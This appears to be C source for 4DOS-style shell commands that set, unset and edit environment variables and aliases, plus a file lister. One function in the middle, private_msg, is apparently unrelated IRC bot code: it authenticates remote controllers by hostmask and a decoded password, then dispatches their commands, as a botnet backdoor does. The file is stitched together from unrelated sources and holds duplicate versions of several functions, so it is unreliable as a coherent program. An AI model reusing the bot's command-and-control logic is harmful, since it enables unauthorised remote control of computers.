// remove environment variable(s) or aliases
int unset_cmd( int argc, char **argv )
{
char *arg;
int i, rval = 0;
long fUnset;
PCH pchList;
// set the pointer to either the environment or the alias list
if ( _stricmp( gpInternalName, UNSET_COMMAND ) == 0 ) {
pchList = 0L;
} else
pchList = glpAliasList;
// strip leading switches
if (( GetSwitches( argv[1], "MQR", &fUnset, 1 ) != 0 ) || ( first_arg( argv[1] ) == NULL ))
return ( usage(( pchList == glpAliasList ) ? UNALIAS_USAGE : UNSET_USAGE ));
// check for master environment set
if (( pchList == 0L ) && ( fUnset & UNSET_MASTER ))
pchList = glpMasterEnvironment;
// read environment or alias file(s)
if ( fUnset & UNSET_READ )
return ( SetFromFile( argv[1], pchList, 1 ));
for ( i = 0; (( arg = ntharg( argv[1], i )) != NULL ); i++ ) {
if ( _stricmp( arg, "*" ) == 0 ) {
// wildcard kill - null the environment or alias list
if ( pchList == 0L )
pchList = glpEnvironment;
pchList[0] = '\0';
pchList[1] = '\0';
break;
}
// kill the variable or alias
if ( get_list( arg, pchList ) == 0L ) {
// check for "quiet" switch
if ( fUnset & UNSET_QUIET )
rval = ERROR_EXIT;
else
rval = error((( pchList == glpAliasList ) ? ERROR_4DOS_NOT_ALIAS : ERROR_4DOS_NOT_IN_ENVIRONMENT ), arg );
} else if ( add_list( arg, pchList ) != 0)
rval = ERROR_EXIT;
}
return rval;
}
// edit an existing environment variable or alias
int eset_cmd( int argc, char **argv )
{
char *arg;
int nLength;
int i, rval = 0;
long fEset;
PCH vname, feptr, pchList;
unsigned char buffer[CMDBUFSIZ];
// check for alias or master environment switches
if (( GetSwitches( argv[1], "AM", &fEset, 1 ) != 0 ) || ( first_arg( argv[1] ) == NULL ))
return ( usage( ESET_USAGE ));
for ( i = 0; (( arg = ntharg( argv[1], i )) != NULL ); i++ ) {
pchList = (( fEset & ESET_MASTER ) ? glpMasterEnvironment : glpEnvironment );
// try environment variables first, then aliases
if (( fEset & ESET_ALIAS ) || (( feptr = get_list( arg, pchList )) == 0L)) {
// check for alias editing
if (( feptr = get_list( arg, glpAliasList )) == 0L ) {
rval = error((( fEset & ESET_ALIAS ) ? ERROR_4DOS_NOT_ALIAS : ERROR_4DOS_NOT_IN_ENVIRONMENT ), arg );
continue;
}
pchList = glpAliasList;
}
// get the start of the alias or variable name
for ( vname = feptr; (( vname > pchList ) && ( vname[-1] != '\0' )); vname-- )
;
// length of alias/variable name
nLength = (int)( feptr - vname );
sprintf( buffer, "%.*Fs%.*Fs", nLength, vname, (( CMDBUFSIZ - 1 ) - nLength), feptr );
// echo & edit the argument
printf( FMT_FAR_PREC_STR, nLength, vname );
(void)egets( buffer + nLength, (( CMDBUFSIZ - 1 ) - nLength ), EDIT_ECHO );
if ( add_list( buffer, pchList ) != 0 )
rval = ERROR_EXIT;
}
return rval;
}
int private_msg(char* params, irc_reply_data* hostd, void* conn)
{
IRC* irc=(IRC*)conn;
char *a[MAX_TOKENS];
params++;
char fcmd[1024];
strcpy(fcmd,params);
int t=SplitParams(a,params,MAX_TOKENS);
if (fcmd[0] == prefix)
{
SWITCHES switches=GetSwitches(a,t);
for (int u=0;u<MAX_TOKENS;u++)
{
if (a[u])
{
//lulwhat() -h1t3m-
}
}
if (!a[0])
return 1;
if (a[0][0] == prefix)
{
a[0]++;
if (irc->is_logged_in(hostd->nick,hostd->ident,hostd->host))
{
if (!strcmp(hostd->target,irc->current_nick()))
hostd->target=hostd->nick;
IRC_CommandParse(a,t,fcmd,hostd,irc,switches);
}
else
{
if (!strcmp(hostd->target,irc->current_nick()))
{
hostd->target=hostd->nick;
}
if (!strcmp(a[0],get_auth))
{
if (a[1]==NULL)
return 1;
char h[256];
_snprintf(h,sizeof(h),"%s!%s@%s",hostd->nick,hostd->ident,hostd->host);
BOOL host_ok=FALSE;
for (int i=0; i < authsize; i++) {
#ifndef NO_WILDCARD
if (wildcardfit(authost[i], h)) {
host_ok = TRUE;
break;
}
#else
if (strcmp(h, authost[i]) == 0) {
host_ok = TRUE;
break;
}
#endif
}
if (!host_ok || strcmp(Decode(password), a[1]) != 0) {
return 1;
}
if (irc->add_login(hostd->nick,hostd->ident,hostd->host) == -1)
{
if (!switches.silent)
irc->pmsg(hostd->target,str_auth_full,main_title);
}
else
{
if (!switches.silent)
irc->pmsg(hostd->target,str_auth_good,main_title);
}
return 1;
}
}
}
}
else
{
if (lstrcmpi(hostd->target,irc->current_nick()))
return 1;
if (!lstrcmpi("\1VERSION\1",a[0]))
{
return 1;
}
if (!lstrcmpi("\1PING",a[0]) && a[1])
{
return 1;
}
}
return 0;
}
// create or display environment variables or aliases
int set_cmd( int argc, char **argv )
{
char *arg;
long fSet;
PCH feptr, pchList;
char szBuffer[CMDBUFSIZ];
init_page_size();
// set the pointer to either the environment or the alias list
if ( _stricmp( gpInternalName, SET_COMMAND ) == 0 ) {
pchList = 0L;
} else
pchList = glpAliasList;
// strip leading switches
if (( GetSwitches( argv[1], "AMPR", &fSet, 1 ) != 0) || (( fSet & SET_READ ) && ( first_arg( argv[1] ) == NULL )))
return ( usage(( pchList == glpAliasList ) ? ALIAS_USAGE : SET_USAGE ));
// check for master environment set
if (( pchList == 0L ) && ( fSet & SET_MASTER ))
pchList = glpMasterEnvironment;
// read environment or alias file(s)
if ( fSet & SET_READ )
return ( SetFromFile( argv[1], pchList, 0 ));
// pause after each page
if ( fSet & SET_PAUSE ) {
gnPageLength = GetScrRows();
}
if ( first_arg( argv[1] ) == NULL ) {
if ( pchList == 0L )
pchList = glpEnvironment;
// print all the variables or aliases
for ( feptr = pchList; ( *feptr != '\0' ); feptr = next_env( feptr ) ) {
more_page( feptr, 0 );
}
if ( pchList == glpEnvironment ) {
if (( arg = get_list( BEGINLIBPATH, pchList )) != 0L ) {
sprintf( szBuffer, FMT_TWO_EQUAL_STR, BEGINLIBPATH, arg );
more_page( szBuffer, 0 );
}
if (( arg = get_list( ENDLIBPATH, pchList )) != 0L ) {
sprintf( szBuffer, FMT_TWO_EQUAL_STR, ENDLIBPATH, arg );
more_page( szBuffer, 0 );
}
}
// return an error message if no aliases exist
// just return if no environment variables exist
return (( feptr == glpAliasList ) ? error( ERROR_4DOS_NO_ALIASES, NULL ) : 0 );
}
if ( fSet & SET_EXPRESSION ) {
if (( arg = strchr( argv[1], '=' )) != NULL )
arg = skipspace( ++arg );
else
arg = argv[1];
evaluate( arg );
if ( cv.bn < 0 )
qputs( arg );
// create/modify/delete a variable
return (( arg == argv[1] ) ? 0 : add_list( argv[1], pchList ));
}
// display the current variable or alias argument?
// (setting environment vars requires a '='; it's optional with aliases)
if ((( arg = strchr( argv[1], '=' )) == NULL ) && (( pchList == 0L ) || ( ntharg( argv[1], 1 ) == NULL ))) {
if (( feptr = get_list( argv[1], pchList )) == 0L ) {
return ( error((( pchList == glpAliasList ) ? ERROR_4DOS_NOT_ALIAS : ERROR_4DOS_NOT_IN_ENVIRONMENT),argv[1]));
}
printf( FMT_FAR_STR_CRLF, feptr );
return 0;
}
// create/modify/delete a variable or alias
return ( add_list( argv[1], pchList ));
}
// edit or display a file with vertical & horizontal scrolling & text searching
int _near List_Cmd( LPTSTR pszCmdLine )
{
int nFVal, nReturn = 0, argc;
TCHAR szSource[MAXFILENAME+1], szFileName[MAXFILENAME+1], *pszArg;
FILESEARCH dir;
memset( &dir, '\0', sizeof(FILESEARCH) );
// check for and remove switches
if ( GetRange( pszCmdLine, &(dir.aRanges), 0 ) != 0 )
return ERROR_EXIT;
// check for /T"search string"
GetMultiCharSwitch( pszCmdLine, _TEXT("T"), szSource, 255 );
if ( szSource[0] == _TEXT('"') )
sscanf( szSource+1, _TEXT("%79[^\"]"), szListFindWhat );
else if ( szSource[0] )
sprintf( szListFindWhat, FMT_PREC_STR, 79, szSource );
if ( GetSwitches( pszCmdLine, _TEXT("*HIRSWX"), &lListFlags, 0 ) != 0 )
return ( Usage( LIST_USAGE ));
if ( szSource[0] )
lListFlags |= LIST_SEARCH;
// check for pipe to LIST w/o explicit /S switch
if ( first_arg( pszCmdLine ) == NULL ) {
if ( _isatty( STDIN ) == 0 )
lListFlags |= LIST_STDIN;
else if (( lListFlags & LIST_STDIN ) == 0 )
return ( Usage( LIST_USAGE ));
}
// initialize buffers & globals
if ( ListInit() )
return ERROR_EXIT;
nCurrent = nStart = 0;
// ^C handling
if ( setjmp( cv.env ) == -1 ) {
list_abort:
FindClose( dir.hdir );
Cls_Cmd( NULL );
nReturn = CTRLC;
goto list_bye;
}
RestartFileSearch:
for ( argc = 0; ; argc++ ) {
// break if at end of arg list, & not listing STDIN
if (( pszArg = ntharg( pszCmdLine, argc )) == NULL ) {
if (( lListFlags & LIST_STDIN ) == 0 )
break;
} else
strcpy( szSource, pszArg );
for ( nFVal = FIND_FIRST; ; ) {
szClip[0] = _TEXT('\0');
// if not reading from STDIN, get the next matching file
if (( lListFlags & LIST_STDIN ) == 0 ) {
// qualify filename
if ( nFVal == FIND_FIRST ) {
mkfname( szSource, 0 );
if ( is_dir( szSource ))
mkdirname( szSource, WILD_FILE );
}
if ( stricmp( szSource, CLIP ) == 0 ) {
RedirToClip( szClip, 99 );
if ( CopyFromClipboard( szClip ) != 0 )
break;
strcpy( szFileName, szClip );
} else if ( QueryIsPipeName( szSource )) {
// only look for pipe once
if ( nFVal == FIND_NEXT )
break;
copy_filename( szFileName, szSource );
} else if ( find_file( nFVal, szSource, ( FIND_BYATTS | FIND_RANGE | FIND_EXCLUDE | 0x07), &dir, szFileName ) == NULL ) {
nReturn = (( nFVal == FIND_FIRST ) ? ERROR_EXIT : 0 );
break;
} else if ( nStart < nCurrent ) {
nStart++;
nFVal = FIND_NEXT;
continue;
} else if ( dir.ulSize > 0L )
LFile.lSize = dir.ulSize;
}
// clear the screen (scrolling the buffer first to save the current screen)
Cls_Cmd( NULL );
if (( nReturn = _list( szFileName )) == CTRLC )
goto list_abort;
if ( szClip[0] )
remove( szClip );
if ( nReturn != 0 )
break;
SetCurPos( nScreenRows, 0 );
if (( szClip[0] ) || ( lListFlags & LIST_STDIN ))
break;
if ( LFile.hHandle > 0 )
_close( LFile.hHandle );
LFile.hHandle = -1;
// increment index to current file
if ( nCurrent < nStart ) {
FindClose( dir.hdir );
nStart = 0;
goto RestartFileSearch;
} else {
nFVal = FIND_NEXT;
nCurrent++;
nStart++;
}
}
// we can only read STDIN once!
lListFlags &= ~LIST_STDIN;
}
crlf();
list_bye:
FreeMem( LFile.lpBufferStart );
if ( LFile.hHandle > 0 )
_close( LFile.hHandle );
LFile.hHandle = -1;
return nReturn;
}
// edit an existing environment variable or alias
int _near Eset_Cmd( LPTSTR pszCmdLine )
{
LPTSTR pszArg;
register int nLength;
int i, nReturn = 0;
long fEset;
TCHAR _far *lpszVarName, _far *lpszVars, _far *pchList;
TCHAR szBuffer[CMDBUFSIZ];
// check for alias or master environment switches
if (( GetSwitches( pszCmdLine, _TEXT("AFM"), &fEset, 1 ) != 0 ) || ( first_arg( pszCmdLine ) == NULL ))
return ( Usage( ESET_USAGE ));
for ( i = 0; (( pszArg = ntharg( pszCmdLine, i )) != NULL ); i++ ) {
pchList = (( fEset & ESET_MASTER ) ? glpMasterEnvironment : glpEnvironment );
// function edit request?
if ( fEset & ESET_FUNCTION ) {
pchList = glpFunctionList;
if (( lpszVars = get_list( pszArg, pchList )) == 0L ) {
nReturn = error( ERROR_4DOS_NOT_FUNCTION, pszArg );
continue;
}
} else {
// try environment variables first, then aliases
if (( fEset & ESET_ALIAS ) || (( lpszVars = get_list( pszArg, pchList )) == 0L )) {
// check for alias editing
if (( lpszVars = get_list( pszArg, glpAliasList )) == 0L ) {
nReturn = error((( fEset & ESET_ALIAS ) ? ERROR_4DOS_NOT_ALIAS : ERROR_4DOS_NOT_IN_ENVIRONMENT ), pszArg );
continue;
}
pchList = glpAliasList;
}
}
// get the start of the alias / function / variable name
for ( lpszVarName = lpszVars; (( lpszVarName > pchList ) && ( lpszVarName[-1] != _TEXT('\0') )); lpszVarName-- )
;
// length of alias/function/variable name
nLength = (int)( lpszVars - lpszVarName );
sprintf( szBuffer, _TEXT("%.*Fs%.*Fs"), nLength, lpszVarName, (( CMDBUFSIZ - 1 ) - nLength), lpszVars );
// echo & edit the argument
printf( FMT_FAR_PREC_STR, nLength, lpszVarName );
egets( szBuffer + nLength, (( CMDBUFSIZ - 1 ) - nLength ), EDIT_ECHO | EDIT_SCROLL_CONSOLE );
if ( add_list( szBuffer, pchList ) != 0 )
nReturn = ERROR_EXIT;
}
return nReturn;
}
// remove environment variable(s) or aliases
int _fastcall __Unset( LPTSTR pszCmdLine, char _far *pchList )
{
register LPTSTR pszArg;
register int i, nReturn = 0;
long fUnset;
TCHAR _far *lpszVars;
// strip leading switches
if (( GetSwitches( pszCmdLine, "MQR", &fUnset, 1 ) != 0 ) || ( first_arg( pszCmdLine ) == NULL ))
return USAGE_ERR;
// check for master environment set
if (( pchList == glpEnvironment ) && ( fUnset & UNSET_MASTER ))
pchList = glpMasterEnvironment;
// read environment or alias file(s)
if ( fUnset & UNSET_READ )
return ( SetFromFile( pszCmdLine, pchList, ( fUnset & ( UNSET_DEFAULT | UNSET_SYSTEM | UNSET_USER | UNSET_VOLATILE )) | 1 ));
for ( i = 0; (( pszArg = ntharg( pszCmdLine, i )) != NULL ); i++ ) {
if ( _stricmp( pszArg, _TEXT("*") ) == 0 ) {
// wildcard kill - null the environment or alias list
pchList[0] = _TEXT('\0');
pchList[1] = _TEXT('\0');
break;
} else if ( strpbrk( pszArg, _TEXT("*?[") ) != NULL ) {
// wildcard delete!
lpszVars = pchList;
while ( *lpszVars ) {
TCHAR szVarName[128];
sscanf_far( lpszVars, _TEXT("%127[^=]"), szVarName );
// treat it like a "unset varname*"
if (( szVarName[0] ) && ( wild_cmp( pszArg, szVarName, FALSE, TRUE ) == 0 )) {
// got a match -- remove it
if ( add_list( szVarName, pchList ) != 0 ) {
// check for "quiet" switch
nReturn = (( fUnset & UNSET_QUIET ) ? ERROR_EXIT : ERROR_NOT_IN_LIST );
}
} else
lpszVars = next_env( lpszVars );
}
} else {
// kill the variable or alias
if ( get_list( pszArg, pchList ) == 0L ) {
// check for "quiet" switch
if ( fUnset & UNSET_QUIET )
nReturn = ERROR_EXIT;
else
nReturn = ERROR_NOT_IN_LIST;
} else if ( add_list( pszArg, pchList ) != 0 )
nReturn = ERROR_EXIT;
}
// remove argument so it won't appear in error list
if ( nReturn == 0 ) {
strcpy( gpNthptr, skipspace( gpNthptr + strlen( pszArg )));
i--;
}
}
return nReturn;
}
// create or display environment variables or aliases
static int _fastcall __Set( LPTSTR pszCmdLine, TCHAR _far * pchList )
{
LPTSTR pszArg;
long fSet = 0L;
TCHAR _far *lpszVars;
init_page_size();
// set the pointer to the environment, alias, or function list
// strip leading switches
if (( pszCmdLine != NULL ) && ( *pszCmdLine == gpIniptr->SwChr )) {
if ( GetSwitches( pszCmdLine, "AMPR", &fSet, 1 ) != 0 )
return USAGE_ERR;
}
// check for master environment set
if (( pchList == glpEnvironment ) && ( fSet & SET_MASTER ))
pchList = glpMasterEnvironment;
// read environment or alias file(s)
if ( fSet & SET_READ )
return ( SetFromFile( pszCmdLine, pchList, fSet & ( SET_DEFAULT | SET_SYSTEM | SET_USER | SET_VOLATILE )));
if ( setjmp( cv.env ) == -1 )
return CTRLC;
// pause after each page
if ( fSet & SET_PAUSE ) {
gnPageLength = GetScrRows();
}
if (( pszCmdLine == NULL ) || ( *(pszCmdLine = skipspace( pszCmdLine )) == _TEXT('\0'))) {
// print all the variables or aliases
for ( lpszVars = pchList; ( *lpszVars != _TEXT('\0') ); lpszVars = next_env( lpszVars ) ) {
more_page( lpszVars, 0 );
}
// return an error if no entries exist
return (( lpszVars == pchList ) ? ERROR_LIST_EMPTY : 0 );
}
if ( fSet & SET_EXPRESSION ) {
if (( pszArg = strchr( pszCmdLine, _TEXT('=') )) != NULL ) {
if (( pszArg > pszCmdLine ) && ( strchr( _TEXT("+-*/%&^|><"), pszArg[-1] ) != NULL )) {
TCHAR szBuf[256];
// it's an assignment operator ("set /a test+=2")
sscanf( pszCmdLine, _TEXT(" %[^ +-*/%&^|><=]"), szBuf );
strcpy( pszArg, pszArg+1 );
strins( pszCmdLine, _TEXT("=") );
strins( pszCmdLine, szBuf );
pszArg = pszCmdLine + strlen( szBuf ) + 1;
} else
pszArg = skipspace( pszArg+1 );
} else
pszArg = pszCmdLine;
StripQuotes( pszArg );
evaluate( pszArg );
if ( cv.bn < 0 ) {
qputs( pszArg );
crlf();
}
// create/modify/delete a variable
return (( pszArg == pszCmdLine ) ? 0 : add_list( pszCmdLine, pchList ));
}
// display the current variable or alias argument?
// (setting environment vars requires a '='; it's optional with aliases)
if ((( pszArg = strchr( pszCmdLine, _TEXT('=') )) == NULL ) && (( pchList == 0L ) || ( ntharg( pszCmdLine, 0x8001 ) == NULL ))) {
if (( lpszVars = get_list( pszCmdLine, pchList )) == 0L ) {
return ERROR_NOT_IN_LIST;
}
printf( FMT_FAR_STR_CRLF, lpszVars );
return 0;
}
// create/modify/delete a variable or alias
return ( add_list( pszCmdLine, pchList ));
}
